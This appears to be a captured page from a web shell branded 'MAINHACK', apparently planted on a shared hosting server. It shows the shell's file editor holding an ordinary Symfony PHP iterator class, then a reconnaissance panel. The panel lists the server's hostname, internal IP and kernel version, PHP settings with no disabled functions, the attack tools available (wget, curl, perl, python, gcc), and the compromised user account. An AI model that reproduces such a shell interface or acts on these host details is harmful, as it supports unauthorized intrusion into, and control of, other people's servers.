[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OrderedHashMapIterator.php
File is not writable. Editing disabled.
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Form\Util; /** * Iterator for {@link OrderedHashMap} objects. * * This class is internal and should not be used. * * @author Bernhard Schussek <bschussek@gmail.com> * * @since 2.2.6 */ class OrderedHashMapIterator implements \Iterator { /** * @var array */ private $elements; /** * @var array */ private $orderedKeys; /** * @var integer */ private $cursor; /** * @var integer */ private $cursorId; /** * @var array */ private $managedCursors; /** * @var string|integer|null */ private $key; /** * @var mixed */ private $current; /** * Creates a new iterator. * * @param array $elements The elements of the map, indexed by their * keys. * @param array $orderedKeys The keys of the map in the order in which * they should be iterated. * @param array $managedCursors An array from which to reference the * iterator's cursor as long as it is alive. * This array is managed by the corresponding * {@link OrderedHashMap} instance to support * recognizing the deletion of elements. * * @since 2.2.6 */ public function __construct(array &$elements, array &$orderedKeys, array &$managedCursors) { $this->elements = &$elements; $this->orderedKeys = &$orderedKeys; $this->managedCursors = &$managedCursors; $this->cursorId = count($managedCursors); $this->managedCursors[$this->cursorId] = &$this->cursor; } /** * Removes the iterator's cursors from the managed cursors of the * corresponding {@link OrderedHashMap} instance. * * @since 2.2.6 */ public function __destruct() { // Use array_splice() instead of isset() to prevent holes in the // array indices, which would break the initialization of $cursorId array_splice($this->managedCursors, $this->cursorId, 1); } /** *{@inheritdoc} * * @since 2.2.6 */ public function current() { return $this->current; } /** * {@inheritdoc} * * @since 2.2.6 */ public function next() { ++$this->cursor; if (isset($this->orderedKeys[$this->cursor])) { $this->key = $this->orderedKeys[$this->cursor]; $this->current = $this->elements[$this->key]; } else { $this->key = null; $this->current = null; } } /** *{@inheritdoc} * * @since 2.2.6 */ public function key() { return $this->key; } /** *{@inheritdoc} * * @since 2.2.6 */ public function valid() { return null !== $this->key; } /** *{@inheritdoc} * * @since 2.2.6 */ public function rewind() { $this->cursor = 0; if (isset($this->orderedKeys[0])) { $this->key = $this->orderedKeys[0]; $this->current = $this->elements[$this->key]; } else { $this->key = null; $this->current = null; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 782.95 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A